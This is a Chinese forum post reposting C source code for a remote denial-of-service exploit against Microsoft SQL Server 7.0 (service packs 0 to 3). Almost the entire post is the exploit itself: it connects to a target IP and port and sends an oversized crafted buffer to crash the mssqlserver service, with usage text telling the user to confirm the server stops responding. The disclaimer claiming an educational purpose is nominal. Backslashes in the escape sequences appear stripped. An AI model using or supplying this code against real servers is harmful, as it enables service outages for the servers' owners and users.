发新话题
打印

Mssql 7.0 remote denial of service buffer overflow exploit

Mssql 7.0 remote denial of service buffer overflow exploit

信息来源:自由网络
复制内容到剪贴板
代码:
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop the service
* "mssqlserver" the error noticed is different according to services' pack but the
result is always
* the same one.
*  Exception Codes = c0000005
* vulnerable:  MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* compil with VC
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"x10x00x00x10xccxccxccxccxccxccxccxccxccxccxccxcc",16);

if (argc!=3) {
  printf("  MSSQL denial of servicen");
  printf("    by securma massinen");
  printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des
degats que vous pouvez en fairen");
  printf("Syntaxe: MSSQLdos <ip> <port>n");
  exit(1);
}
WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
  printf("Impossible de se connecter...le port est en generale 1433...n");
  exit(1);
}
  {
  send(s,buffer,sizeof(buffer),0);

  printf("Data envoyes...n");
}
printf("nattendez quelques secondes et verifiez que le serveur ne repond plus.n");
closesocket(s);
WSACleanup();
}

u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1) {
  if (!(host_ent = gethostbyname(host_name))) {
  printf ("Erreur DNS : Impossible de r閟oudre l&#39;adresse %s !!!n",host_name);
  exit(1);
  }
  CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题